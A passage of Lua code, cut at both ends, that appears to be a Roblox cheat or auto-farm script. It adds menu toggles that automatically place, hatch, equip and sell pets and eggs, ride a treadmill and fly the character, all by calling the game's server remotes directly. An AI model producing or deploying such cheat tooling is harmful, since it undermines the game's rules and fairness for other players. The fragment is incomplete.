local flag3 = v23
if v23 then
flag3 = type(v23.Set) == "function"
end
if flag3 then
pcall(v23.Set, v23, str4)
end
local num = tonumber(v27)
local flag4 = num ~= nil and v24 ~= nil and num < v24
if num then
v24 = num
end
if flag4 then
table.clear(tbl18)
end
if not tbl4.Toggle(v22, false) then
tbl4.Movement.PlaceWanted = false
tbl4.ReleaseMovement("place")
return false
end
if flag2 then
return false
end
if os.clock() < n13 then
tbl4.Movement.PlaceWanted = false
return false
end
if tbl4.Movement.StealFirst and not tbl4.IsNight() then
tbl4.Movement.PlaceWanted = false
return false
end
flag2 = true
task.spawn(function()
local ok, result = pcall(fn30)
ok = ok and result == "waiting"
if not ok then
tbl4.Movement.PlaceWanted = false
end
tbl4.ReleaseMovement("place")
flag2 = false
tbl2.Wake()
end)
return false
end)
v22 = v6:CreateToggle({
Name = "Auto Place Egg",
Default = false,
Callback = function()
table.clear(tbl18)
n16 = n16 + 1
tbl4.StopWalking()
tbl2.Wake()
end,
})
v23 = v6:CreateText({ Name = "Pen Status", Text = str4 })
tbl4.Rift.Restart.Place = function()
table.clear(tbl18)
tbl2.Wake()
end
end
local save = tbl.Save
if type(save) == "table" and type(save.FieldSignal) == "function" then
for _, v19 in ipairs({ "EggInventory", "EquippedAssets", "BaseUpgradeLevel" }) do
local ok, result = pcall(save.FieldSignal, v19)
ok = ok and type(result) == "table"
ok = ok and type(result.Connect) == "function"
if ok then
local ok2, result2 = pcall(result.Connect, result, function()
tbl2.Wake()
end)
if ok2 and result2 then
fn6(function()
pcall(function()
result2:Disconnect()
end)
end)
end
end
end
end
do
local eggState = tbl.EggState
local carryChanged = type(eggState) == "table" and eggState.CarryChanged or nil
if type(carryChanged) == "table" and type(carryChanged.Connect) == "function" then
local ok, result = pcall(carryChanged.Connect, carryChanged, function(arg)
local flag2 = type(arg) == "table" and arg.IsCarrying == true
if tbl4.Steal.Carrying and not flag2 then
tbl4.Steal.LastFinishedAt = os.clock()
end
if flag2 and type(arg.Uid) == "string" then
tbl4.Steal.CarryUid = arg.Uid
tbl4.Steal.CarryAreaId = arg.AreaId
end
tbl4.Steal.Carrying = flag2
tbl2.Wake()
end)
if ok and result then
fn6(function()
pcall(function()
result:Disconnect()
end)
end)
end
end
end
do
local n6 = 10
local n7 = 1
local n8 = 5
local function fn14(arg)
local v19 = networking:FindFirstChild(arg)
if not v19 or not v19:IsA("RemoteFunction") then
return false, nil, nil
end
local ok, result, result2 = pcall(v19.InvokeServer, v19)
return ok, result, result2
end
local n9 = 0
local flag2 = false
local function fn15(arg, arg2, arg3)
if arg and arg2 ~= false then
n9 = 0
flag2 = false
return true
end
if arg and tostring(arg3) == "Already using treadmill" then
n9 = 0
flag2 = false
return true
end
if arg and tostring(arg3) == "Not grounded" and tbl4.Grounded() then
n9 = n9 + 1
if 2 <= n9 then
n9 = 0
if not flag2 then
flag2 = true
pcall(tbl4.UndoSwap)
elseif type(tbl4.RequestRespawn) == "function" then
flag2 = false
tbl4.RequestRespawn()
end
end
end
return false
end
local v19 = nil
local v20 = nil
local flag3 = false
local n10 = 0
local flag4 = false
local treadmill = tbl4.Treadmill
local function fn16()
return tbl4.Toggle(v19, false)
end
local function fn17()
local movement = tbl4.Movement
local placeWanted = movement.PlaceWanted
or movement.ScrambleWanted
or movement.MutationWanted
or movement.FracturedWanted
or movement.Owner ~= nil and movement.Owner ~= "treadmill"
or tbl4.Steal.Active
or tbl4.Steal.Carrying
return placeWanted
end
local function fn18()
local v21 = n10
if fn17() or not tbl4.ClaimMovement("treadmill") then
return false
end
local function fn18()
local flag5 = v21 ~= n10 or not fn16() or tbl4.Movement.Owner ~= "treadmill" or fn17()
return flag5
end
if tbl4.BeltHeld() then
tbl4.ResetBelt()
end
local v22 = tbl4.Belt()
if not v22 then
return false
end
local n11 = v22.Position + Vector3.new(0, v22.Size.Y / 2, 0)
if tbl4.DistanceTo(n11 + Vector3.new(0, 2, 0)) > n6 then
if type(tbl4.FlyTo) ~= "function" or not tbl4.FlyTo(n11, fn18, "treadmill") then
return false
end
end
if fn18() then
return false
end
treadmill.Riding = fn15(fn14("RF/Treadmill/AskWearStill"))
return treadmill.Riding
end
tbl2.Add(function()
if not fn16() then
if treadmill.Riding and not flag3 then
flag3 = true
task.spawn(function()
pcall(tbl4.ExitBelt)
flag3 = false
tbl2.Wake()
end)
end
return false
end
local v21 = flag3
if not flag3 then
v21 = fn17()
end
if v21 then
return false
end
if treadmill.Riding and tbl4.Toggle(v20, true) and tbl4.OnBelt() then
local now = os.clock()
local nextCheck = treadmill.NextCheck or 0
if now >= nextCheck and not tbl4.Flying and tbl4.Grounded() then
treadmill.NextCheck = os.clock() + n8
flag3 = true
task.spawn(function()
local ok, result = pcall(function()
return fn15(fn14("RF/Treadmill/AskWearStill"))
end)
local v22 = treadmill
ok = ok and result == true
v22.Riding = ok
if not treadmill.Riding then
treadmill.NextTry = 0
end
flag3 = false
tbl2.Wake()
end)
end
return false
end
local now = os.clock()
local nextTry = treadmill.NextTry or 0
if now < nextTry then
return false
end
treadmill.NextCheck = 0
local v22 = treadmill
local now2 = os.clock()
local n11 = treadmill.LastFailed and 3 or 4
v22.NextTry = now2 + n11
flag3 = true
task.spawn(function()
local ok, result = pcall(fn18)
local v23 = treadmill
v23.LastFailed = not (ok and result == true)
tbl4.ReleaseMovement("treadmill")
flag3 = false
tbl2.Wake()
end)
return false
end)
task.spawn(function()
while not flag4 do
task.wait(3)
if
not fn16()
and not fn17()
and not tbl4.Flying
and tbl4.OnBelt()
and tbl4.Grounded()
then
fn15(fn14("RF/Treadmill/AskWearStill"))
end
end
end)
task.spawn(function()
local n11 = 0
while not flag4 do
local v21 = task.wait(0.25)
if not fn16() or not treadmill.Riding or fn17() then
n11 = 0
elseif tbl4.OnBelt() then
n11 = 0
else
n11 = n11 + v21
if n11 >= 1.5 then
treadmill.Riding = false
treadmill.NextTry = 0
tbl2.Wake()
n11 = 0
end
end
end
end)
task.spawn(function()
local n11 = 0
local n12 = 0
local position = nil
while not flag4 do
local v21 = task.wait(0.25)
n11 = math.max(0, n11 - v21)
local flag5 = treadmill.Riding and fn16() and not fn17()
local v22 = tbl4.Root()
local character = localPlayer.Character
character = character and character:FindFirstChildOfClass("Humanoid")
local flying = tbl4.Flying
or tbl4.Movement.Owner ~= nil
or tbl4.Movement.PlaceWanted
or character ~= nil and character.MoveDirection.Magnitude > 0.1
flag5 = flag5 or not flying
if flag5 or not v22 or not tbl4.OnBelt() then
position = v22 and v22.Position
n12 = 0
if not position then
n12 = 0
position = nil
end
else
local vector = Vector3.new(v22.Position.X, 0, v22.Position.Z)
position = position
and (vector - Vector3.new(position.X, 0, position.Z)).Magnitude < 0.5
if position then
n12 = n12 + v21
else
n12 = 0
end
position = v22.Position
if n12 >= n7 and n11 <= 0 then
pcall(tbl4.ExitBelt)
n11 = 1.5
n12 = 0
end
end
end
end)
fn6(function()
flag4 = true
treadmill.Riding = false
end)
v19 = v7:CreateToggle({
Name = "Auto Treadmill",
Default = false,
Callback = function()
n10 = n10 + 1
tbl4.StopWalking()
tbl2.Wake()
end,
})
v20 = v7:CreateToggle({ Name = "Stay On Treadmill", Default = true })
end
do
local n6 = 4
local n7 = 10
local v19 = nil
local flag2 = false
local n8 = 0
local tbl15 = {}
local tbl16 = { MinRarity = 0, MinIncome = 0, Eggs = {} }
local function fn14(arg, arg2)
local v20 = networking:FindFirstChild(arg)
if not v20 or not v20:IsA("RemoteFunction") then
return false, nil
end
return pcall(v20.InvokeServer, v20, arg2)
end
local function fn15(arg)
local flag3 = tbl16.MinRarity > 0
if flag3 then
local minRarity = tbl16.MinRarity
flag3 = tbl4.EggRarity(arg) < minRarity
end
if flag3 then
return false
end
local flag4 = tbl16.MinIncome > 0
if flag4 then
local minIncome = tbl16.MinIncome
flag4 = tbl4.EggIncome(arg) < minIncome
end
if flag4 then
return false
end
if next(tbl16.Eggs) ~= nil and tbl16.Eggs[tostring(arg.AssetCategory)] ~= true then
return false
end
return true
end
local function fn16()
local eggState = tbl.EggState
if type(eggState) ~= "table" or type(eggState.ReadOwnerEggs) ~= "function" then
return {}
end
local ok, result = pcall(eggState.ReadOwnerEggs, localPlayer.UserId)
local v20 = result
if not ok or type(v20) ~= "table" then
return {}
end
local flag3 = tbl4.Toggle(v19, false) == true
local Hatch = tbl4.RiftOn("Hatch") and tbl4.RiftShortfall() or {}
local tbl17 = {}
local tbl18 = {}
for k, v21 in pairs(v20) do
local flag4 = type(v21) == "table" and v21.Placement ~= nil
if flag4 then
flag4 = (tbl15[k] or 0) <= os.clock()
end
if flag4 then
local ok2, result2 = pcall(eggState.IsReadyToHatch, k)
ok2 = ok2 and result2 == true
if ok2 then
local str3 = tostring(v21.AssetCategory)
local n9 = Hatch[str3] or 0
if 0 < n9 then
Hatch[str3] = Hatch[str3] - 1
table.insert(tbl17, k)
elseif flag3 and fn15(v21) then
table.insert(tbl18, k)
end
end
end
end
for _, v21 in ipairs(tbl18) do
table.insert(tbl17, v21)
end
return tbl17
end
local function fn17()
local Hatch = tbl4.Toggle(v19, false) or tbl4.RiftOn("Hatch")
return Hatch
end
local function fn18()
local v20 = n8
local n9 = 0
for _, v21 in ipairs((fn16())) do
if not (n9 >= n6 or v20 ~= n8 or not fn17()) then
local AskHatch, v22 = fn14("RF/EggWorld/AskHatch", v21)
AskHatch = AskHatch and v22 ~= false
if AskHatch then
task.wait(0.35)
fn14("RF/EggWorld/AskFinishHatch", v21)
n9 = n9 + 1
tbl15[v21] = nil
else
tbl15[v21] = os.clock() + n7
end
task.wait(0.2)
continue
end
break
end
return n9 > 0
end
tbl2.Add(function()
if not fn17() or flag2 then
return false
end
flag2 = true
task.spawn(function()
pcall(fn18)
flag2 = false
end)
return false
end)
local function fn19()
n8 = n8 + 1
table.clear(tbl15)
tbl2.Wake()
end
v19 = v8:CreateToggle({ Name = "Auto Hatch", Default = false, Callback = fn19 })
v8:CreateDropdown({
Name = "Hatch Min Rarity",
Note = "Hatch eggs of the chosen rarity and every rarity above it",
Options = tbl7,
Default = tbl7[1],
SubOf = v19,
Callback = function(arg)
local v20 = tbl16
v20.MinRarity = tbl8[arg] or 0
fn19()
end,
})
local tbl17 = {
["K/s"] = { Min = 0, Max = 1000, Mult = 1000 },
["M/s"] = { Min = 0, Max = 1000, Mult = 1000000 },
["B/s"] = { Min = 0, Max = 100, Mult = 1000000000 },
}
local tbl18 = { Slider = nil, Value = 0, Unit = "M/s" }
local function fn20(arg, arg2)
if arg ~= nil then
local v20 = tbl18
local max = math.max
local floor = math.floor
local value = tonumber(arg) or tbl18.Value
v20.Value = max(0, floor(value))
end
if arg2 ~= nil then
tbl18.Unit = tostring(arg2)
end
local ms = tbl17[tbl18.Unit] or tbl17["M/s"]
tbl16.MinIncome = tbl18.Value * ms.Mult
fn19()
end
tbl18.Slider = v8:CreateSlider({
Name = "Hatch Min Value",
Note = "Skip eggs worth less than this (0 = off)",
Min = 0,
Max = 1000,
Default = 0,
AllowDecimals = false,
Increment = 1,
SubOf = v19,
Unit = {
Default = "M/s",
Selector = true,
Options = { "K/s", "M/s", "B/s" },
ColorEnabled = true,
Colors = {
Number = Color3.fromRGB(255, 255, 255),
Suffix = Color3.fromRGB(58, 255, 55),
},
Callback = function(arg)
local ms = tbl17[arg] or tbl17["M/s"]
local slider = tbl18.Slider
if slider and slider.SetRange then
slider:SetRange(ms.Min, ms.Max)
local min = tonumber(slider:Get()) or ms.Min
local min2 = ms.Min
local max = ms.Max
local n9 = math.clamp(math.floor(min + 0.5), min2, max)
if n9 ~= min then
tbl18.Unit = tostring(arg)
slider:Set(n9)
return
end
fn20(n9, arg)
else
fn20(nil, arg)
end
end,
},
Callback = function(arg)
fn20(arg, nil)
end,
})
local tbl19 = {}
local tbl20 = {}
local directory = tbl.Assets and tbl.Assets.Directory
local n9 = 0
while (type(directory) ~= "table" or next(directory) == nil) and n9 < 2 do
n9 = n9 + task.wait(0.1)
if type(tbl.Assets) ~= "table" then
tbl.Assets = fn3(function()
return ReplicatedStorage.Data.Assets
end)
end
directory = tbl.Assets and tbl.Assets.Directory
end
local tbl21 = {}
if type(directory) == "table" then
for k, v20 in pairs(directory) do
local rarity = type(v20) == "table" and v20.Rarity or nil
local flag3 = type(rarity) == "table"
if flag3 then
local v21 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
flag3 = v21(rarityNumber)
end
flag3 = flag3 or nil
if flag3 then
local insert = table.insert
local tbl22 = { Category = tostring(k) }
local v21 = tostring
local displayName = v20.DisplayName or k
tbl22.Name = v21(displayName)
tbl22.Rarity = flag3
local v22 = tostring
local displayName2 = rarity.DisplayName or rarity._id or flag3
tbl22.RarityName = v22(displayName2)
insert(tbl21, tbl22)
end
end
end
table.sort(tbl21, function(arg, arg2)
if arg.Rarity ~= arg2.Rarity then
return arg.Rarity > arg2.Rarity
end
return arg.Name < arg2.Name
end)
for _, v20 in ipairs(tbl21) do
local str3 = string.format("%s [%s]", v20.Name, v20.RarityName)
if tbl20[str3] then
str3 = string.format("%s [%s] (%s)", v20.Name, v20.RarityName, v20.Category)
end
table.insert(tbl19, str3)
tbl20[str3] = v20.Category
end
if 0 < #tbl19 then
fn7(v8:CreateMultiDropdown({
Name = "Hatch Specific Eggs",
Note = "Only hatch these eggs (empty = all)",
Options = tbl19,
Default = {},
SubOf = v19,
Callback = function(arg)
local tbl22 = {}
if type(arg) == "table" then
for k, v20 in pairs(arg) do
local flag3 = v20 == true and type(k) == "string"
if not flag3 then
k = flag3
end
k = k or type(v20) == "string" and v20
k = k or nil
if k and tbl20[k] then
tbl22[tbl20[k]] = true
end
end
end
tbl16.Eggs = tbl22
fn19()
end,
}))
end
tbl4.Rift.Restart.Hatch = fn19
end
do
local n6 = 5
local n7 = 30
local v19 = nil
local flag2 = false
local n8 = 0
local tbl15 = {}
local n9 = 0
local flag3 = true
local v20 = nil
local n10 = -math.huge
local function fn14(arg)
local v21 = fn3(function()
return ReplicatedStorage.Data.Bases
end)
if type(v21) == "table" and type(v21.GetAssetEquipCapacity) == "function" then
local v22 = pcall
local getAssetEquipCapacity = v21.GetAssetEquipCapacity
arg = arg and tonumber(arg.BaseUpgradeLevel)
arg = arg or 0
local num, v23 = v22(getAssetEquipCapacity, arg)
num = num and tonumber(v23)
if num then
return math.floor(tonumber(v23))
end
end
local flag4 = v20
if v20 then
flag4 = os.clock() - n10 < n7
end
if flag4 then
return v20
end
local rfPenRosterAskWearLimit = networking:FindFirstChild("RF/PenRoster/AskWearLimit")
if rfPenRosterAskWearLimit and rfPenRosterAskWearLimit:IsA("RemoteFunction") then
local ok, result = pcall(rfPenRosterAskWearLimit.InvokeServer, rfPenRosterAskWearLimit)
ok = ok and tonumber(result)
if ok then
local n11 = math.floor(tonumber(result))
local now = os.clock()
v20 = n11
n10 = now
return v20
end
end
local v22 = v20
local n11
if v20 then
n11 = v22
else
n11 = 0
end
return n11
end
local function fn15(arg)
local directory = tbl.Assets and tbl.Assets.Directory
local flag4 = type(directory) == "table" and directory[tostring(arg.Category)] or nil
local n11 = type(flag4) == "table" and tonumber(flag4.EarningRate) or 0
local n12 = tonumber(arg.Scale) or 0
if n11 <= 0 or n12 <= 0 then
return 0
end
local n13 = n12 > 5 and (n12 / 5) ^ 1.2 * 19.637875755794113 or n12 ^ 1.85
local mutations = tbl.Mutations
local flag5 = type(mutations) == "table" and type(mutations.EarningsFor) == "function"
local n14 = 1
if flag5 then
local v21 = pcall
local earningsFor = mutations.EarningsFor
local mutations2 = type(arg.Mutations) == "table" and arg.Mutations or {}
local flag6
flag6, n14 = v21(earningsFor, mutations2)
flag6 = flag6 and type(n14) == "number"
local n15 = 1
if not flag6 then
n14 = n15
end
end
return n11 * n13 * n14
end
local function fn16()
local save2 = tbl.Save
local flag4 = type(save2) == "table" and type(save2.Get) == "function"
local result = nil
if flag4 then
local ok
ok, result = pcall(save2.Get)
local flag5 = ok and type(result) == "table"
if not flag5 then
result = flag5
end
result = result or nil
end
if not result then
return nil
end
local tbl16 = {}
local tbl17 = {}
local v21 = pairs
local equippedAssets = result.EquippedAssets or {}
for _, equippedAsset in v21(equippedAssets) do
if type(equippedAsset) == "string" then
tbl16[equippedAsset] = true
table.insert(tbl17, equippedAsset)
end
end
local tbl18 = {}
local v22 = pairs
local inventory = result.Inventory or {}
for k, v23 in v22(inventory) do
if type(v23) == "table" and v23.InFuse ~= true then
table.insert(tbl18, { Uid = k, Income = fn15(v23), Equipped = tbl16[k] == true })
end
end
table.sort(tbl18, function(arg, arg2)
if arg.Income ~= arg2.Income then
return arg.Income > arg2.Income
end
return tostring(arg.Uid) < tostring(arg2.Uid)
end)
return tbl18, tbl16, #tbl17, result
end
local function fn17(arg, arg2)
local tbl16 = {}
local flag4 = false
for i, v21 in ipairs(arg) do
if not (arg2 < i) then
if not v21.Equipped then
table.insert(tbl16, v21.Uid)
if not tbl15[v21.Uid] then
flag4 = true
end
end
continue
end
break
end
return tbl16, flag4
end
tbl2.Add(function()
if not tbl4.Toggle(v19, false) then
return false
end
local v21, v22, v22, v23 = fn16()
local v24 = v21
if v24 then
local v25, v26 = fn17(v24, (fn14(v23)))
local v27 = v25
v26 = v26 or flag3
if v26 and not flag2 and os.clock() >= n9 then
for _, v28 in ipairs(v27) do
tbl15[v28] = true
end
flag3 = false
flag2 = true
n9 = os.clock() + n6
local v28 = n8
task.spawn(function()
local rfHaulFetchWearBestStatus =
networking:FindFirstChild("RF/Haul/FetchWearBestStatus")
local isRemoteFunction = rfHaulFetchWearBestStatus
and rfHaulFetchWearBestStatus:IsA("RemoteFunction")
local flag4 = true
if isRemoteFunction then
local result
flag4, result =
pcall(rfHaulFetchWearBestStatus.InvokeServer, rfHaulFetchWearBestStatus)
flag4 = flag4 and result ~= false
flag4 = flag4 and result ~= nil
end
local rfHaulWearBest = networking:FindFirstChild("RF/Haul/WearBest")
flag4 = flag4 and v28 == n8
if flag4 and rfHaulWearBest and rfHaulWearBest:IsA("RemoteFunction") then
pcall(rfHaulWearBest.InvokeServer, rfHaulWearBest)
end
flag2 = false
tbl2.Wake()
end)
end
end
return false
end)
v19 = v8:CreateToggle({
Name = "Auto Equip Best",
Note = "Equip Best when a better pet appears",
Default = false,
Callback = function()
n8 = n8 + 1
table.clear(tbl15)
n9 = 0
flag3 = true
tbl2.Wake()
end,
})
local save2 = tbl.Save
if type(save2) == "table" and type(save2.FieldSignal) == "function" then
for _, v21 in ipairs({ "Inventory", "EquippedAssets" }) do
local ok, result = pcall(save2.FieldSignal, v21)
ok = ok and type(result) == "table"
ok = ok and type(result.Connect) == "function"
if ok then
local ok2, result2 = pcall(result.Connect, result, function()
flag3 = true
tbl2.Wake()
end)
ok2 = ok2 and result2
if ok2 then
fn6(function()
pcall(function()
result2:Disconnect()
end)
end)
end
end
end
end
end
do
local n6 = 3
local n7 = 50
local tbl15 = { "Rarity Only", "Value Only", "Rarity And Value", "Rarity Or Value" }
local v19 = fn3(function()
return ReplicatedStorage.Shared.Util.AssetItems
end)
local tbl16 = {}
local tbl17 = {}
local tbl18 = {}
local tbl19 = {}
local directory = tbl.Assets and tbl.Assets.Directory
local tbl20 = {}
local tbl21 = {}
if type(directory) == "table" then
for k, v20 in pairs(directory) do
local rarity = type(v20) == "table" and v20.Rarity or nil
local flag2 = type(rarity) == "table"
if flag2 then
local v21 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
flag2 = v21(rarityNumber)
end
flag2 = flag2 or nil
if flag2 then
local v21 = tostring
local displayName = rarity.DisplayName or rarity._id or flag2
local v22 = v21(displayName)
tbl20[flag2] = tbl20[flag2] or v22
local insert = table.insert
local tbl22 = { Category = tostring(k) }
local v23 = tostring
local displayName2 = v20.DisplayName or k
tbl22.Name = v23(displayName2)
tbl22.Rarity = flag2
tbl22.RarityName = v22
insert(tbl21, tbl22)
end
end
end
local tbl22 = {}
for k in pairs(tbl20) do
table.insert(tbl22, k)
end
table.sort(tbl22)
for _, v20 in ipairs(tbl22) do
local str3 = string.format("%d - %s", v20, tbl20[v20])
table.insert(tbl16, str3)
tbl17[str3] = v20
end
table.sort(tbl21, function(arg, arg2)
if arg.Rarity ~= arg2.Rarity then
return arg.Rarity < arg2.Rarity
end
return arg.Name < arg2.Name
end)
for _, v20 in ipairs(tbl21) do
local str3 = string.format("%s [%s]", v20.Name, v20.RarityName)
if tbl19[str3] then
str3 = string.format("%s [%s] (%s)", v20.Name, v20.RarityName, v20.Category)
end
table.insert(tbl18, str3)
tbl19[str3] = v20.Category
end
local function fn14(arg)
for _, v20 in ipairs(tbl16) do
if tbl17[v20] == arg then
return v20
end
end
return tbl16[1]
end
local v20 = nil
local v21 = nil
local v22 = nil
local v23 = nil
local v24 = tbl15[1]
local n8 = 3
local n9 = 0
local flag2 = true
local tbl23 = {}
local v25 = tbl15[1]
local n10 = 3
local n11 = 0
local flag3 = true
local tbl24 = {}
local flag4 = false
local n12 = 0
local function fn15(arg)
local n13 = tonumber(arg) or 0
local tbl25 = { "", "K", "M", "B", "T", "Qa", "Qi" }
local n14 = 1
while math.abs(n13) >= 1000 and n14 < #tbl25 do
n13 = n13 / 1000
n14 = n14 + 1
end
local format = string.format
local str3 = n14 == 1 and "$%.0f%s" or "$%.2f%s"
return format(str3, n13, tbl25[n14])
end
local function fn16(arg, arg2)
local tbl25 = {}
if type(arg) == "table" then
for k, v26 in pairs(arg) do
local flag5 = v26 == true and type(k) == "string"
if not flag5 then
k = flag5
end
if k then
v26 = k
else
local flag6 = type(v26) == "string"
if not flag6 then
v26 = flag6
end
end
v26 = v26 or nil
if v26 then
local v27 = arg2 and arg2[v26] or v26
tbl25[v27] = true
end
end
end
return tbl25
end
local function fn17(arg)
local directory2 = tbl.Assets and tbl.Assets.Directory
local flag5 = type(directory2) == "table" and directory2[tostring(arg)] or nil
local rarity = type(flag5) == "table" and flag5.Rarity or nil
local flag6 = type(rarity) == "table"
if flag6 then
local v26 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
flag6 = v26(rarityNumber)
end
flag6 = flag6 or math.huge
return flag6
end
local function fn18(arg)
local directory2 = tbl.Assets and tbl.Assets.Directory
local flag5 = type(directory2) == "table" and directory2[tostring(arg.Category)] or nil
local n13 = type(flag5) == "table" and tonumber(flag5.EarningRate) or 0
local n14 = tonumber(arg.Scale) or 0
if n13 <= 0 or n14 <= 0 then
return 0
end
local n15 = n14 > 5 and (n14 / 5) ^ 1.2 * 19.637875755794113 or n14 ^ 1.85
local mutations = tbl.Mutations
local flag6 = type(mutations) == "table" and type(mutations.EarningsFor) == "function"
local n16 = 1
if flag6 then
local v26 = pcall
local earningsFor = mutations.EarningsFor
local mutations2 = type(arg.Mutations) == "table" and arg.Mutations or {}
local flag7
flag7, n16 = v26(earningsFor, mutations2)
flag7 = flag7 and type(n16) == "number"
local n17 = 1
if not flag7 then
n16 = n17
end
end
return n13 * n15 * n16
end
local function fn19(arg)
local flag5 = type(arg) == "table" and next(arg) ~= nil
return flag5
end
local function fn20()
local save2 = tbl.Save
if type(save2) ~= "table" or type(save2.Get) ~= "function" then
return nil
end
local ok, result = pcall(save2.Get)
ok = ok and type(result) == "table"
if not ok then
result = ok
end
result = result or nil
return result
end
local function fn21()
local v26 = fn20()
local tbl25 = {}
if not v26 then
return tbl25, 0
end
local tbl26 = {}
local v27 = pairs
local equippedAssets = v26.EquippedAssets or {}
for _, equippedAsset in v27(equippedAssets) do
tbl26[equippedAsset] = true
end
local v28 = pairs
local inventory = v26.Inventory or {}
local n13 = 0
for k, v29 in v28(inventory) do
local flag5 = type(v29) == "table"
and v29.InFuse ~= true
and v29.IsFavorite ~= true
and not tbl26[k]
and not tbl23[tostring(v29.Category)]
if flag5 then
local v30 = flag2
if flag2 then
v30 = fn19(v29.Mutations)
end
flag5 = not v30
end
if flag5 then
local v30 = fn18(v29)
local flag6 = fn17(v29.Category) <= n8
local flag7 = n9 > 0 and v30 < n9
if v24 == tbl15[2] then
flag6 = flag7
elseif v24 == tbl15[3] then
flag6 = flag6 and flag7
elseif v24 == tbl15[4] then
flag6 = flag6 or flag7
end
if flag6 then
table.insert(tbl25, k)
local flag8 = type(v19) == "table" and type(v19.SalePrice) == "function"
local flag9 = false
local result = nil
if flag8 then
flag9, result = pcall(v19.SalePrice, v29)
end
flag9 = flag9 and tonumber(result)
flag9 = flag9 or v30 * 100
n13 = n13 + flag9
end
end
end
return tbl25, n13
end
local function fn22()
local tbl25 = {}
local eggState = tbl.EggState
if type(eggState) ~= "table" or type(eggState.ReadOwnerEggs) ~= "function" then
return tbl25, 0
end
local ok, result = pcall(eggState.ReadOwnerEggs, localPlayer.UserId)
local v26 = result
if not ok or type(v26) ~= "table" then
return tbl25, 0
end
local character = localPlayer.Character
character = character and character:FindFirstChildWhichIsA("Tool")
character = character and character:GetAttribute("UID")
character = character or nil
local eggRecords = tbl.EggRecords
local v27, v28, v29 = pairs(v26)
local n13 = 0
for k, v30 in v27, v28, v29 do
local flag5 = type(v30) == "table"
and v30.Placement == nil
and k ~= character
and not tbl24[tostring(v30.AssetCategory)]
if flag5 then
local v31 = flag3
if flag3 then
v31 = fn19(v30.Mutations)
end
flag5 = not v31
end
if flag5 then
local v31 = fn18({
Category = v30.AssetCategory,
Scale = v30.AssetScale,
Mutations = v30.Mutations,
})
local flag6 = fn17(v30.AssetCategory) <= n10
local flag7 = n11 > 0 and v31 < n11
local v32
if v25 == tbl15[2] then
v32 = flag7
elseif v25 == tbl15[3] then
v32 = flag6 and flag7
elseif v25 ~= tbl15[4] then
v32 = flag6
else
v32 = flag6 or flag7
end
if v32 then
table.insert(tbl25, k)
if type(eggRecords) == "table" and type(eggRecords.SellPrice) == "function" then
local ok2, result2 = pcall(eggRecords.SellPrice, v30)
ok2 = ok2 and tonumber(result2)
local n14 = ok2 or 0
n13 = n13 + n14
end
end
end
end
return tbl25, n13
end
local function fn23(arg, arg2)
local rePetSatchelSellSelection = networking:FindFirstChild("RE/PetSatchel/SellSelection")
if not rePetSatchelSellSelection or not rePetSatchelSellSelection:IsA("RemoteEvent") then
return false
end
local n13 = math.max(#arg, #arg2)
local n14 = 1
while n14 <= n13 do
local tbl25 = {}
local tbl26 = {}
for i = n14, n14 + n7 - 1 do
if arg[i] then
table.insert(tbl25, arg[i])
end
if arg2[i] then
table.insert(tbl26, arg2[i])
end
end
pcall(
rePetSatchelSellSelection.FireServer,
rePetSatchelSellSelection,
{ Eggs = tbl26, Assets = tbl25 }
)
n14 = n14 + n7
if n14 <= n13 then
task.wait(0.3)
end
end
return true
end
local function fn24(arg, arg2)
local flag5 = flag4
if not flag4 then
flag5 = #arg == 0 and #arg2 == 0
end
if flag5 then
return
end
flag4 = true
n12 = os.clock() + n6
task.spawn(function()
pcall(fn23, arg, arg2)
flag4 = false
tbl2.Wake()
end)
end
tbl2.Add(function()
local v26 = tbl4.Toggle(v20, false)
local v27 = tbl4.Toggle(v21, false)
local v28, v29 = fn21()
local tbl25, v30 = fn22()
local flag5 = v22
if v22 then
flag5 = type(v22.Set) == "function"
end
if flag5 then
pcall(v22.Set, v22, string.format("Pet matches - %d pets for %s", #v28, fn15(v29)))
end
local flag6 = v23
if v23 then
flag6 = type(v23.Set) == "function"
end
if flag6 then
pcall(v23.Set, v23, string.format("Egg matches - %d eggs for %s", #tbl25, fn15(v30)))
end
local v31 = flag4
local flag7
if flag4 then
flag7 = v31
else
flag7 = os.clock() < n12
end
if not flag7 then
flag7 = not (v26 or v27)
end
if flag7 then
return false
end
local v32 = fn24
local tbl26 = v26 and v28 or {}
if not v27 then
tbl25 = v27
end
tbl25 = tbl25 or {}
v32(tbl26, tbl25)
return false
end)
v22 = v9:CreateText({ Name = "Pet Sell Preview", Text = "Pet matches - 0 pets" })
v20 = v9:CreateToggle({
Name = "Auto Sell Pet",
Default = false,
Callback = function()
tbl2.Wake()
end,
})
v9:CreateButton({
Name = "Sell Pets Now",
ButtonText = "Sell",
ConfirmText = "Sold!",
SubOf = v20,
Callback = function()
fn24(fn21(), {})
end,
})
v9:CreateDropdown({
Name = "Sell Pet Rule",
Note = "Which checks must pass to sell",
Options = tbl15,
Default = tbl15[1],
SubOf = v20,
Callback = function(arg)
if table.find(tbl15, arg) then
v24 = arg
tbl2.Wake()
end
end,
})
v9:CreateDropdown({
Name = "Pet Max Rarity",
Note = "Sell pets at or below this rarity",
Options = tbl16,
Default = fn14(3),
SubOf = v20,
Callback = function(arg)
local v26 = tbl17[arg] or n8
n8 = v26
tbl2.Wake()
end,
})
local tbl25 = {
["K/s"] = { Min = 0, Max = 1000, Mult = 1000 },
["M/s"] = { Min = 0, Max = 1000, Mult = 1000000 },
["B/s"] = { Min = 0, Max = 100, Mult = 1000000000 },
}
local function fn25(arg, arg2, arg3, arg4)
local v26 = nil
local n13 = 0
local str3 = "M/s"
local function fn25(arg5, arg6)
if arg5 ~= nil then
local max = math.max
local floor = math.floor
local num = tonumber(arg5) or n13
n13 = max(0, floor(num))
end
if arg6 ~= nil then
str3 = tostring(arg6)
end
local ms = tbl25[str3] or tbl25["M/s"]
arg4(n13 * ms.Mult)
tbl2.Wake()
end
return (
v9:CreateSlider({
Name = arg,
Note = arg2,
Min = 0,
Max = 1000,
Default = 0,
AllowDecimals = false,
Increment = 1,
Unit = {
Default = "M/s",
Selector = true,
Options = { "K/s", "M/s", "B/s" },
ColorEnabled = true,
Colors = {
Number = Color3.fromRGB(255, 255, 255),
Suffix = Color3.fromRGB(58, 255, 55),
},
Callback = function(arg5)
local ms = tbl25[arg5] or tbl25["M/s"]
local setRange = v26
if v26 then
setRange = v26.SetRange
end
if setRange then
v26:SetRange(ms.Min, ms.Max)
local min = tonumber(v26:Get()) or ms.Min
local min2 = ms.Min
